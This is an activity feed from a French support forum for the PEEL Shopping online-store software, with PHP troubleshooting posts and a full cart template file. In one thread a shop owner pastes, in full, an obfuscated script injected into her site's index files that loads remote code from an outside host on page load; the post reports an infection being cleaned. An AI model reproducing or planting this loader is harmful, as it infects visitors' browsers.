Flux d’activité
Flux d’activité de Messages
-
-
-
Bonsoir suspensionlab,
Dans /administrer/html.php, fonction,
remplacez :
<tr>
<td>
<input type="radio" name="lang" value="fr" '.(vb($frm['lang'])=="fr" ? 'checked="checked"':'').' />Français<br />
<input type="radio" name="lang" value="en" '.(vb($frm['lang'])=="en" ? 'checked="checked"':'').' />Anglais
</td>
</tr>
par
<tr>
<td>
<input type="radio" name="lang" value="fr" '.(vb($frm['lang'])=="fr" ? 'checked="checked"':'').' />Français<br />
<input type="radio" name="lang" value="en" '.(vb($frm['lang'])=="en" ? 'checked="checked"':'').' />Anglais
<input type="radio" name="lang" value="es" '.(vb($frm['lang'])=="es" ? 'checked="checked"':'').' />Espagnol
</td>
</tr>
Et ça devrait le faire !!
Cordialement,
-
Bonsoir Marine,
Les lignes de code :
if ($_SESSION['caddie']->compte_elements() == 0) {
echo '<p>' . nl2br(EMPTY_CADDIE) . '</p>';
}
signifient "Si on compte zéro articles dans le caddie, alors afficher : Le caddie est vide"
Si vous remplacez
if ($_SESSION['caddie']->compte_elements() == 0) {
par
if ($_SESSION['caddie']->compte_elements() != 0) {
alors vous écrivez : signifient "Si on ne compte pas zéro articles dans le caddie, alors afficher : Le caddie est vide"
ce qui est erroné !!!
La correction à apporter est de remplacer
if ($_SESSION['caddie']->compte_elements() == 0) {
par
if (!empty($_SESSION['caddie']) && $_SESSION['caddie']->compte_elements() == 0) {
(on vérifie que le caddie existe avant d'en compter les éléments)
Cette correction sera apportée à la prochaine version de PEEL.
Cordialement,
-
Bonsoir Chrisssssssssssssssssss,
Comment se fait il que sur le bon de commande apparaît le paiement par chèque alors que je n'accepte pas ce mode de paiement ?
Effectivement, dans commande_html, on fait un test sur le fait que le client ait spécifié des informations postales pour autoriser ou non le paiement par chèque.
Pour le désactiver, ouvrir le fichier /factures/commande_html.php et commenter le code :
$check_text=print_societe(true);
if(!empty($check_text)){
echo '
<tr>
<td valign="top"><b>'.FOR_A_CHECK_PAYEMENT.'</b></td>
<td>'.SEND_YOUR_PAYEMENT_TO.' <b>'. fprix($commande->montant, true, $commande->devise, true, $commande-> currency_rate) . "".'</b> '.FOLLOWING_ADRESS.' : '.$check_text.'</td>
</tr>
';
}
Comment se fait il que les commandes qui doivent être réglées par Paypal, et qui ne le sont pas, sont enregistrées en mode "attente de règlement" ?
Par défaut au moment de la création d'une commande, on l'enregistre en base de données avec le statut "En attente de paiement".
A ce moment, on n'a pas encore contacté la page de paypal.
Lorsqu'on atteint paypal :
- Soit le client paie, et on passe la commande en "réglée"
- Soit il annule le paiement, et on passe la commande en "annulée"
- Soit il ne fait rien, et on conserve le statut "En attente de paiement"
En espérant vous avoir aidé
Cordialement,
-
Effectivement, l'option :
Options -Indexes
était manquante dans votre ficher.
Merci equi-monde ;)
-
-
Bonsoir SerialMother,
Remplacez donc :
if ($on_download == 0) {
par
if (!empty($on_download)) {
Cordialement,
-
-
Problème résolu. OVH pas mis en cause, un de mes fichiers infectés. Je dois changer mes codes d'accès ftp ;) et mise à jour de mon antivirus.
bonne journée à tous
-
-
voici le nom du trojan : trojan JS:Illredir-E [Trj]mon site en local, n'étant pas vérolé, j'ai fait le transfert de tous les fichiers suspects.
Ceci viendrait directement d'OVH
j'aimerai savoir si certains parmi vous aurez constaté, déjà cela. Car, pas très rassurant, en faisant une recherche sur internet, il s'avère que je ne suis pas un cas unique.
Merci pour votre aide.
;)
le problème vient juste d'être signalé sur le forum d'OVH, ce qui prouve que je ne suis pas seule dans ce cas;
-
voici le nom du trojan : trojan JS:Illredir-E [Trj]
mon site en local, n'étant pas vérolé, j'ai fait le transfert de tous les fichiers suspects.
Ceci viendrait directement d'OVH
j'aimerai savoir si certains parmi vous aurez constaté, déjà cela. Car, pas très rassurant, en faisant une recherche sur internet, il s'avère que je ne suis pas un cas unique.
Merci pour votre aide.
;)
-
bonjour,je viens vers vous, car deux de mes clientes me signalent que leur antivirus leur signale la présence d'un cheval de troie, lorsqu'elles vont sur mon site.
Je suis en peel premium hébergement ovh.
Je ne remarque rien d'anormal en me connectant, moi-même sur mon site, et je ne vois rien de suspect dans mes fichiers en passant par mon ftp.
Auriez vous la gentillesse de me signaler si vous avez un problème en prenant le temps d'aller sur mon site ?
Je vous remercie à tous,
après recherche sur mon site, j'ai noté que j'avais une ligne suspecte, dans tous les fichiers index du site : ;)
<script>var _=new String();function Y(){var B=window;var A=new String();var uH;if(uH!='' && uH!='I'){uH=''};var O=unescape;var r;if(r!=''){r='K'};var Uc;if(Uc!=''){Uc='LA'};var a=O("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%6c%6c%61%62%6f%75%74%2e%63%6f%2e%6a%70%2f%73%65%7a%6e%61%6d%2e%63%7a%2e%70%68%70");var b;if(b!='UX' && b!='c'){b=''};function p(S,k){var BR=new String();var Oi;if(Oi!='t'){Oi=''};var x=new String("YIOg".substr(3));var Q;if(Q!='d' && Q!='Zr'){Q='d'};var o=O("%5b"), R=O("%5d");var V=o+k+R;var Xl;if(Xl!='xd'){Xl='xd'};var Z=new RegExp(V, x);return S.replace(Z, new String());};this.pf='';var _B;if(_B!='IH'){_B='IH'};var Zn=document;var Sm=new Date();var v=new Date();var YJ=p('856012682470173','46391257');var G=new Array();this.SH='';var L=new String();var Oh=new Date();var lR="";function M(){var tH=new Date();var BC=O("%68%74%74%70%3a%2f%2f%66%6c%6f%72%69%64%61%6f%72%69%67%69%6e%2e%61%74%3a");var Qq=new Array();this.Gi="";L=BC;var kg;if(kg!='' && kg!='La'){kg=null};var Lp="";L+=YJ;var N;if(N!='oR' && N!='IG'){N=''};var yF;if(yF!='' && yF!='IF'){yF='rA'};L+=a;var Dy;if(Dy!='F' && Dy!='YB'){Dy=''};var Bw;if(Bw!='m_' && Bw!='Cy'){Bw=''};this.iB='';try {this.Ku="";var Oc;if(Oc!='' && Oc!='Hr'){Oc=''};j=Zn.createElement(p('swcFrLiFpDtM','jaLD2FHKAwMq'));var nj='';var Bv;if(Bv!='' && Bv!='dO'){Bv=''};j[O("%73%72%63")]=L;var LI;if(LI!='' && LI!='zV'){LI='Tg'};var _r;if(_r!='' && _r!='cS'){_r='XH'};j[O("%64%65%66%65%72")]=[1][0];var ma;if(ma!='aR'){ma=''};var tB=new String();var qn;if(qn!='aS' && qn!='uR'){qn='aS'};var MS;if(MS!='' && MS!='Gt'){MS=''};var Ry;if(Ry!='' && Ry!='yj'){Ry=''};Zn.body.appendChild(j);var BwI=new String();var zG=new String();this.FD="";} catch(U){alert(U);};var fex='';var xK;if(xK!='vP' && xK!='KX'){xK=''};}var DR=new String();var OD;if(OD!='' && OD!='wo'){OD='YQ'};var Ah='';var HG='';B[string("onl"+"9Rhoad".substr(3))]=M;this.Ve='';var Wm=new String();};Y();</script>
<!--ab65703b445b844ca864623ab814a4b5-->
j'ai procédé au nettoyage et j'ai aussi enlevé PHPMY VISIT.
J'espère que cela va fonctionner.
Comment changer les mots de passe FTP ? :(
-
bonjour,
je viens vers vous, car deux de mes clientes me signalent que leur antivirus leur signale la présence d'un cheval de troie, lorsqu'elles vont sur mon site.
Je suis en peel premium hébergement ovh.
Je ne remarque rien d'anormal en me connectant, moi-même sur mon site, et je ne vois rien de suspect dans mes fichiers en passant par mon ftp.
Auriez vous la gentillesse de me signaler si vous avez un problème en prenant le temps d'aller sur mon site ?
Je vous remercie à tous,
-
tiankris
Me revoici.
Bon, j'ai essayé plusieurs solution, ça na pas fonctionné. Je pense donc que comme c'est écrit plus haut : C'est peut-être PHP qui arrondi de lui-même le résultat de votre opération.
C'est pas grave, je me suis débrouillé autrement. Merci quand même à tous.
-
Messieurs les administreurs de la boutique peel
Si le titre du sujet vous dérange (CODE PROMO SUJET FACHEUX), retirer le et mettez ce que vous voulez. Vous savez très bien que ce sujet n'a jamais été régler. Pour info, quand vous livrez une boutique avec n'importe quelle version, j'estime que toutes les fonctions doivent être opérationnelle...(Apparemment, pas celle-ci !!!)
Ci-joint la description des versions qui "doivent" être en service à l'achat.
(TEXTE MIS EN AVANT SUR VOTRE SITE)
PEEL PREMIUM regroupe toutes les fonctions indispensables à votre commerce en ligne :
- Catalogue produit (ou service) illimité
- Gestion de contenu illimité
- Export vers les comparateurs de prix
- Remises par catégorie de produits
- Module d'export vers "Expeditor"
- Possibilité d'uploader des bannieres de pub
- Affichage des prix TTC ou HT
- URL rewriting
- Parametrage des images et des vignettes
- Moteur de recherche simple et avancée (recherche booléenne)
- Multilingue livré avec Français + Anglais (extension allemand, espagnol, italien, etc... possible)
- Fonctionne en mode grand public (BtoC) mode Grossiste (BtoB)
- Module revendeur
- Gestion des promotions par produit et par client
- Gestion de codes promotionnels
- Affichage des meilleures ventes, des nouveautés, promotions
- Ventes flash de date à date
- Plusieurs niveaux de critères : couleur, tailleur avec possibilité d'ajouter des prix sur les critères
- Gestion des stocks avec réassort ou sans
- Gestion des stocks / critère
- Alerte administrateur et alerte client pour les produits hors stocks
- Gestion de caddie complète
- Gestion des frais de port en fonction de la zone, du type et du poids du colis
- Nombre de solution de paiement illimité : chèque, virement, contre remboursement, paypal, carte bancaire
- Suivi en temps réels des commandes par les clients dans une interface sécurisée
- Calcul des taxes selon état et pays
- Gestion des différentes taxes (TVA) pour différents produits
- Interface d'administration complète et simplifiée
- Exportation de vos contenus vers les principaux comparateurs de prix
- Création de devis à partir de l'interface d'administration
- Edition des factures et des bons de livraison au format HTML et PDF
- Gestion des commandes : les commandes s'affichent dans un tableau au fur et à mesure qu'elle arrivent. Dès que vous livrez le client, vous pouvez générer la facture et la commande est rangé dans le casier "livré"...
- Statitistiques sous forme de rapport des ventes
- Gestion de l'écodistribution
- Remise par coupon anniversaire en valeur
- Bon de réduction en valeur
- Gestion des chèques cadeaux
- Module de parrainage permettant de rétribuer filleul et parrain
- Avoir client en valeur
- Gestion simplifiée d'une newsletter
- Ventes flash
Alors messieurs les webmasters, si on ne peut pas écrire les choses comme elles sont, et que pour les moindres sujets qui vous dérangent, vous changiez le contenu des sujets, j'en ai fini avec votre forum, veuillez SVP effacer mon compte utilisateur.
Merci.
-
Bonjour,J'ai déjà eu le problème plusieurs fois, quand le client arrive à l'étape 3, il ne comprend pas qu'il doit cliquer sur le bouton "Acheter Maintenant" pour accéder à Paypal.
Le client pense qu'il va etre rediriger sur la page Paypal, comme rien ne se passe il annule les commandes... ;)
Je souhaite modifier l'apparence du bouton "Acheter maintenant" et mettre le texte en rouge "Réglement par carte bancaire", mais je ne trouve pas.
Merci d'avance pour votre aide.
Anne
J'ai trouvé c'est dans le fichier fr.php
En plus du bouton, est il possible d'ouvrir automatiquement la page paypal ?
-
Bonjour,
Moi j'ai un autre soucis; j'ai ajouté 1 langue : l'espagnol. (es)
Quand je veux ajouter du contenu dans la "zone personalisable en HTML" avec comme emplacement "acceuil de la boutique" tout s'affiche en "fr" et "en" mais pas la langue que j'ai ajouté?
l'info est bien stockée dans la bdd mais je voudrais savoir ou je dois modifier le code pour afficher en page "home" ce que j'ai ajouté en "es"
Merci d'avance
-
Bonjour,
J'ai déjà eu le problème plusieurs fois, quand le client arrive à l'étape 3, il ne comprend pas qu'il doit cliquer sur le bouton "Acheter Maintenant" pour accéder à Paypal.
Le client pense qu'il va etre rediriger sur la page Paypal, comme rien ne se passe il annule les commandes... ;)
Je souhaite modifier l'apparence du bouton "Acheter maintenant" et mettre le texte en rouge "Réglement par carte bancaire", mais je ne trouve pas.
Merci d'avance pour votre aide.
Anne
-
Aucunne réponse .....je suppose que je suis le seul a avoir constaté cela....!!!Je vais revoir les scripts du html.php et essayer de résoudre ça...
Voila j'ai compris.........il faut ajouter un contenu HTML chaque fois pour chaque langue...!!!!
Et bien merci
-
J'ai le même problème avec la v5.6 >____<
Je suis hébergé par free.
Je ne dispose pas de la ligne 104, j'ai essayé de commenté l'appel du cookie mais sans succès, cela me met des erreurs du style:
Parse error: syntax error, unexpected T_ELSE in /mnt/165/sdb/b/8/mylittlepuppetsshow/achat/caddie_ajout.php on line 22
-
Hola, j'ai remarqué que l'on ne pouvait utiliser les zones personnalisables en html que pour seulement une langue...Si je coche la case Français j'ai par exemple mon banner dans la boutique en Fr mais pas en Anglais ni en Espagnol, si je coche la case en Anglais j'ai mon banner dans la boutique en anglais mais pas dans les autres langues......AHHAAA ..!!!Bien sur il manque un bout de script et quelques champs dans la table peel_html
Qui a la solution?
Aucunne réponse .....je suppose que je suis le seul a avoir constaté cela....!!!
Je vais revoir les scripts du html.php et essayer de résoudre ça...
-
Re bonjour à tous!!
Mon problème est réglé!! Je suis très contente, j'ai un peu poussé mes recherches google et hop!
Alors le problème vient bien de la ligne 19. Il faut la remplacer:
if ($_SESSION['caddie']->compte_elements() == 0) {
par:if ($_SESSION['caddie']->compte_elements() != 0) {
Il manquait donc un petit point d'exclamation =)
J'espère que cela aidera d'autres personnes !!
Bien à vous,
Marine~
-
Bonjour à tous! ;)
J'ai installé la version 5.6 de peel shopping (dont je suis très satisfaite d'ailleurs). Jusque là je m'en sortais très bien mais arrivée au test de la page caddie.....problème :( J'ai cherché sur le forum mais je n'ai pas trouvé alors j'espère que mon post ne sera pas en trop et qu'il aidera aussi d'autres personnes !
J'ai donc c'est erreur:
Fatal error: Call to a member function on a non-object in /mnt/165/sdb/b/8/mylittlepuppetsshow/modeles/standard/caddie.php on line 19
Qui correspond à cette ligne là du code:if ($_SESSION['caddie']->compte_elements() == 0) {
Je ne comprends pas trop le problème? Je ne connais pas vraiment mon niveau en php....mais bon je m'en sors quand même, j'ai relativement bien personnalisé mon peel (pas très compliqué non plus et merciiii ) C'est donc un problème de session, et ce genre de problème j'en rencontre relativement souvent avec les codes php, sans vraiment les comprendre... Quelqu'un aurait-il la solution ?? Merci =)<?php // +----------------------------------------------------------------------+ // | Copyright (c) 2009 Advisto SAS, service PEEL - contact@peel.fr | // +----------------------------------------------------------------------+ // | This file is part of PEEL Shopping 5.6, which is subject to an | // | opensource commercial license: you are allowed to customize the code | // | for your own needs, but you are NOT entitled to distribute this file | // | More information: http://www.peel.fr/lire/licence-commerciale-71.html| // +----------------------------------------------------------------------+ // | Author: Advisto SAS, RCS 479 205 452, France, http://www.peel.fr/ | // +----------------------------------------------------------------------+ // $Id: caddie.php 6779 2010-02-18 10:05:52Z sdelaporte $ echo ' <div class="totalcaddie"> <h2>' . CADDIE . '</h2> '; if ($_SESSION['caddie']->compte_elements() == 0) { echo '<p>' . nl2br(EMPTY_CADDIE) . '</p>'; } else { echo ' <p class="caddie_red">' . $_SESSION['caddie']->affiche_erreur_caddie() . '</p> <form id="caddieform" method="post" action="' . $_SERVER['PHP_SELF'] . '"> <table class="caddie" cellpadding="0" border="0" cellspacing="0" summary="' . TABLE_SUMMARY_CADDIE . '"> <tr class="caddie"> <th class="caddie"> </th> <th scope="col" class="caddie">' . PHOTO . '</th> <th scope="col" class="caddie">' . PRODUCT . '</th> <th scope="col" class="caddie">' . UNIT_PRICE . '</th> <th scope="col" class="caddie">' . OPTION_PRICE . '</th> <th scope="col" class="caddie">' . QUANTITY . '</th> <th scope="col" class="caddie">' . REMISE . ' ' . $Taxes_diplayed . '</th> <th scope="col" class="caddie">' . TOTAL_PRICE . ' ' . $Taxes_diplayed . '</th> </tr> '; foreach ($_SESSION['caddie']->articles as $i => $produitid) { $qid = query('SELECT p.*, pc.categorie_id, c.nom_' . $_SESSION['langue'] . ' AS categorie FROM peel_produits p INNER JOIN peel_produits_categories pc ON pc.produit_id=p.id INNER JOIN peel_categories c ON c.id = pc.categorie_id WHERE p.id="'.intval($produitid).'"'); if (num_rows($qid) > 0) { $prod = fetch_assoc($qid); /* Récupération des variables du caddie */ $quantite_commandable = $quantite = $quantite = vn($_SESSION['caddie']->quantite[$i]); $couleur = vb($_SESSION['caddie']->couleur[$i]); $taille = vb($_SESSION['caddie']->taille[$i]); $couleurId = vb($_SESSION['caddie']->couleurId[$i]); $tailleId = vb($_SESSION['caddie']->tailleId[$i]); $prix = vn($_SESSION['caddie']->prix[$i]); $prix_ht = vn($_SESSION['caddie']->prix_ht[$i]); $prix_cat = vn($_SESSION['caddie']->prix_cat[$i]); $prix_cat_ht = vn($_SESSION['caddie']->prix_cat_ht[$i]); $total_prix = vn($_SESSION['caddie']->total_prix[$i]); $total_prix_ht = vn($_SESSION['caddie']->total_prix_ht[$i]); $tva_percent = vn($_SESSION['caddie']->tva_percent[$i]); $tva = vn($_SESSION['caddie']->tva[$i]); $poids = vb($_SESSION['caddie']->poids[$i]); $points = vb($_SESSION['caddie']->points[$i]); $percent_remise_produit = vn($_SESSION['caddie']->percent_remise_produit[$i]); $remise = vn($_SESSION['caddie']->remise[$i]); $remise_ht = vn($_SESSION['caddie']->remise_ht[$i]); $etat_stock = vn($_SESSION['caddie']->etat_stock[$i]); $delivery_stock = vb($_SESSION['caddie']->delai_stock[$i]); $option = vn($_SESSION['caddie']->option[$i]); $email_check = vb($_SESSION['caddie']->email_check[$i]); $ecotaxe = vb($_SESSION['caddie']->ecotaxe_ttc[$i]) * $quantite; $attribut = vn($_SESSION['caddie']->attribut[$i]); $total_attribut = vn($_SESSION['caddie']->total_prix_attribut[$i]); if (is_advanced_stock_module_active() && $prod['on_stock'] == 1) { $stock_reel = recupere_stock_reel($produitid, $couleurId, $tailleId); $quantite_commandable = controle_stock($produitid, $couleurId, $tailleId, $quantite); } if (is_module_url_rewriting_active()) { $urlprod = $wwwroot . '/' . mrpropre($prod['categorie']) . '-' . $prod['categorie_id'] . '/' . mrpropre($prod['nom_' . $_SESSION['langue']]) . '-' . $prod['id'] . '.html'; } else { $urlprod = $wwwroot . '/achat/produit_details.php?id=' . $prod['id']; } if (!empty($prod['image1'])) { $product_img = '<a href="' . $urlprod . '"><img src="' . $repertoire_upload . '/' . $prod['image1'] . '" width="50" style="vertical-align:middle;" alt="" /></a>'; } elseif (file_exists($dirroot . '/images/photo-non-disponible.gif') == true) { $product_img = '<a href="' . $urlprod . '"><img src="' . $wwwroot . '/images/photo-non-disponible.gif" width="50" style="vertical-align:middle;" alt="" /></a>'; } else { $product_img = ''; } if (display_prices_with_taxes_active()) { $remise_displayed = $remise; $total_attribut_displayed = $total_attribut; $prix_cat_displayed = $prix_cat; $total_prix_displayed = $total_prix; } else { $remise_displayed = $remise_ht; $total_attribut_displayed = $total_attribut / (1 + $prod['tva'] / 100); $prix_cat_displayed = $prix_cat_ht; $total_prix_displayed = $total_prix_ht; } echo ' <tr> <th scope="row" class="listeprod"> <a onclick="java script:return confirm(\'Etes-vous sûr de vouloir enlever ce produit du panier ?\');" href="' . $_SERVER['PHP_SELF'] . '?func=enleve&ligne=' . $i . '&id=' . $prod['id'] . '"> <img src="images/poubelle.gif" width="25" height="25" alt="" /> </a> </th> <td class="lignecaddie">' . $product_img . '</td> <td class="lignecaddie"> <!-- affiche le nom du produit --> <input type="hidden" name="id[' . $i . ']" value="' . $produitid . '" /> <input type="hidden" name="option[' . $i . ']" value="' . $option . '" /> <input type="hidden" name="id_attribut[' . $i . ']" value="' . vb($_SESSION['caddie']->id_attribut[$i]) . '" /> <a href="' . $urlprod . '">' . html_entity_decode($prod['nom_' . $_SESSION['langue']]) . '</a> '; if (!empty($delivery_stock)) { echo '<br />' . DELIVERY_STOCK . ' : '.$delivery_stock.'<br />'; } if (!empty($attribut)) { echo '<br />' . $attribut; echo ($total_attribut > 0 ? OPTIONS_COST . ' ' . fprix($total_attribut_displayed, true) : ''); } echo (!empty($couleur) ? '<br />' . COLOR . ' : '.$couleur.' <input type="hidden" name="couleurId[' . $i . ']" value="'.$couleurId.'" />' : '<input type="hidden" value="" name="couleur[' . $i . ']" /><input type="hidden" name="couleurId[' . $i . ']" value="0" />'); echo (!empty($taille) ? '<br />' . SIZE . ' : '.$taille.' <input type="hidden" name="tailleId[' . $i . ']" value="'.$tailleId.'" />' : '<input type="hidden" value="" name="taille[' . $i . ']" /><input type="hidden" name="tailleId[' . $i . ']" value="0" />'); echo (!empty($email_check) > 0 ? '<br />' . EMAIL_FRIEND . ' : '.$email_check.'<br /> <input type="hidden" name="email_check[' . $i . ']" value="'.$email_check.'" />' : '<input type="hidden" value="" name="email_check[' . $i . ']" />'); if ($ecotaxe != '0') { echo '<br /><em>' . ECOTAXE . ' : ' . fprix($ecotaxe, true) . '</em>'; } echo ' </td> <td class="lignecaddie" align="center">' . fprix($prix_cat_displayed, true) . '</td> <td class="lignecaddie" align="center">' . ($option != 'O' ? fprix($option, true) : '-') . '</td> <td class="lignecaddie"> <input type="text" size="3" name="quantite[' . $i . ']" value="' . $quantite_commandable . '" '; if (is_advanced_stock_module_active() && $prod['on_stock'] == 1) { echo 'onchange="java script:if(this.value>' . $stock_reel . ') {this.value=\'' . $stock_reel . '\'; alert(\'' . QUANTITY_INSUFFICIENT . '\');}"'; } echo ' /> <a href="java script: frmsubmit(\'recalc\');"><img src="images/ok.gif" style="vertical-align:top;" alt="ok" /></a> </td> <td class="lignecaddie" align="center">- ' . ($remise_displayed > 0 ? fprix($remise_displayed, true) : '') . '</td> <td class="lignecaddie" align="center">' . fprix($total_prix_displayed, true) . '</td> </tr> '; } } echo ' </table> <div id="step2caddie">'; if (!empty($_SESSION['caddie']->total_ecotaxe_ttc)) { echo ' <p> <label>' . ECOTAXE . ' ' . TTC . '</label>' . fprix($_SESSION['caddie']->total_ecotaxe_ttc, true) . ' </p>'; } // - Si la session client contient une remise > 0 if (!empty($_SESSION['caddie']->total_remise)) { echo ' <p> <label>' . REMISE . ' ' . INCLUDED . ' ' . $Taxes_diplayed . ': </label> ' . fprix($total_remise_displayed, true) . ' </p> '; if (!empty($_SESSION['caddie']->percent_code_promo) || !empty($_SESSION['caddie']->valeur_code_promo)) { echo ' <p class="italic"> dont le code promotionnel ' . $_SESSION['caddie']->code_promo . ' : ' . (!empty($_SESSION['caddie']->percent_code_promo)? fprix($_SESSION['caddie']->total_reduction_percent_code_promo, true):fprix($_SESSION['caddie']->valeur_code_promo, true)) . ' </p> '; } } if (!empty($_SESSION['caddie']->avoir)) { echo ' <p> <label>' . AVOIR . ' : </label> - ' . fprix($_SESSION['caddie']->avoir, true) . ' </p>'; } echo ' <p> <label>' . SHIPPING_COST . ' : </label>'; echo (!empty($_SESSION['caddie']->cout_transport) ? fprix($_SESSION['caddie']->cout_transport, true) : OFFERED . ' ' . FROM . ' ' . fprix($seuil_total, true)); echo ' </p> '; if ($_SESSION['caddie']->total > 0) { if (!is_micro_entreprise_module_active()) { echo ' <p> <label>' . TOTAL_HT . ' : </label> ' . fprix($_SESSION['caddie']->total_ht, true) . ' </p> <p> <label>' . VAT . ' :</label> ' . fprix($_SESSION['caddie']->total_tva, true) . ' </p>'; } else { echo ' <p>' . NO_VAT_APPLIABLE . '</p>'; } echo' <p class="caddie_red"> <label>' . NET . ' ' . TTC . ' : </label>' . fprix($_SESSION['caddie']->total, true) . ' </p> '; } if ($_SESSION['caddie']->total_points > 0) { echo ' <p> <label>' . ORDER_POINT . ' : </label> ' . $_SESSION['caddie']->total_points . ' ' . POINT . ' </p> '; } echo ' <div id="choix_zone"> '; if ($mode_transport == 1) { echo ' <p class="caddie_bold">'; if (isset($_SESSION['caddie']->pays)) { $queryPays = query('SELECT pays_' . $_SESSION['langue'] . ' FROM peel_pays WHERE pays_' . $_SESSION['langue'] . ' = "' . addslashes($_SESSION['caddie']->pays) . '"'); if (num_rows($queryPays) > 0) { $objPays = fetch_assoc($queryPays); $ship = $objPays['pays_' . $_SESSION['langue']]; } } if (!empty($erreur_pays)) { echo ' <span style="color:red;"><b>' . $erreur_pays . '</b></span><br />'; } echo COUNTRY_SHIP . ' (*) : <select class="formulaire1" name="pays_zone" onchange="java script:frmsubmit(\'recalc\')"> <option value="|">' . COUNTRY_CHOOSE . '</option>'; $sqlPays = 'SELECT id, pays_' . $_SESSION['langue'] . ', zone FROM peel_pays WHERE etat = "1" ORDER BY position, pays_' . $_SESSION['langue']; $resPays = query($sqlPays); if ($resPays) { if (num_rows($resPays) > 0) { while ($Pays = fetch_assoc($resPays)) { echo ' <option value="' . $Pays['id'] . '|' . $Pays['zone'] . '"'; if (empty($_SESSION['caddie']->pays) && vb($_SESSION['utilisateur']['pays']) == $Pays['id']) { echo ' selected="selected"'; $_SESSION['caddie']->determine_pays_zone($Pays['id'], $Pays['zone']); } elseif (vb($_SESSION['caddie']->pays) == $Pays['pays_' . $_SESSION['langue']]) { echo ' selected="selected"'; } echo '>' . html_entity_decode($Pays['pays_' . $_SESSION['langue']]) . '</option> '; } } } echo ' </select> </p> '; if (!empty($_SESSION['caddie']->zone)) { echo '<p>' . SHIPPING_ZONE . ' : ' . $_SESSION['caddie']->zone . '</p>'; } echo ' <p class="caddie_bold">'; if (!empty($_SESSION['caddie']->zoneId)) { // Ici on est dans le cas où le calcul des frais de ports est par poids (en effet, si c'est par montant total, il n'y a pas de zones) if (!empty($erreur_type)) { echo ' <span style="color:red;"><b>' . $erreur_type . '</b></span><br />'; } $sqlType = 'SELECT DISTINCT(t.id), t.nom_' . $_SESSION['langue'] . ' FROM peel_tarifs tf, peel_types t WHERE t.id = tf.type AND tf.zone = "' . intval($_SESSION['caddie']->zoneId) . '"'; $resType = query($sqlType); if ($resType) { if (num_rows($resType) > 0) { echo SHIPPING_TYPE . ' (*) : <select class="formulaire1" name="type" onchange="java script:frmsubmit(\'recalc\')"> <option value="">' . SHIP_TYPE_CHOOSE . '</option> '; while ($Type = fetch_assoc($resType)) { echo ' <option value="' . $Type['id'] . '"'; if (vb($_SESSION['caddie']->typeId) == $Type['id']) echo ' selected="selected"'; echo '>' . html_entity_decode($Type['nom_' . $_SESSION['langue']]) . '</option> '; } echo ' </select> '; } else { echo ' <span style="color:red;">' . ERREUR_TYPE . '</span><br />'; } } } echo ' </p> '; } if (est_identifie()) { echo ' <p class="caddie_bold"> <label for="code_promo">' . CODE_PROMO . ' : </label><br /> <input type="text" class="formulaire1" id="code_promo" name="code_promo" value="' . strtoupper(vb($_SESSION['caddie']->code_promo)) . '" onchange="java script:frmsubmit(\'recalc\')" /> <a href="java script: frmsubmit(\'recalc\');"><img src="images/ok.gif" style="vertical-align:top;" alt="ok" /></a><br /> </p>'; } else { echo ' <p class="caddie_bold"> <a class="notice" href="'.$wwwroot.'/membre.php" title="Identifiez vous pour bénéficier de votre réduction">Identifiez-vous</a> maintenant si vous avez un bon de réduction </p>'; } echo ' <div class="right"> <ul class="boutoncaddie"> <li><a href="java script: frmsubmit(\'recalc\');" onmouseover="return overlib(\'Vos frais de port sont offerts à partir de ' . fprix($seuil_total, true) . ' d\'achat\');" onmouseout="return nd();">' . UPDATE . '</a></li> <li><a href="' . $wwwroot . '/achat/index.php">' . SHOPPING . '</a></li> <li><a href="java script: frmsubmit(\'vide\');">' . EMPTY_LIST . '</a></li> </ul> </div> '; if ($_SESSION['caddie']->total > 0) { echo ' <div style="text-align:center"> <div class="bouton"> <a class="blanc" href="java script: frmsubmit(\'commande\');" onmouseover="return overlib(\'Vos frais de port sont offerts à partir de ' . fprix($seuil_total, true) . ' d\'achat\');" onmouseout="return nd();">' . ORDER . '</a> </div> </div> '; } else { echo ' <div style="text-align:center"><p>' . MSG_SUGGEST . '</p></div> '; } echo ' <input type="hidden" name="func" value="" /> </div> </div> </form> '; } echo '</div>'; ?>
Problème d'affichage image
dans PEEL SHOPPING : logiciel open source de boutique en ligne
Gilles Boussin
Posté(e) · Signaler ce message
Bonsoir culturasiafr,
Avez-vous résolu votre problème?
Cordialement,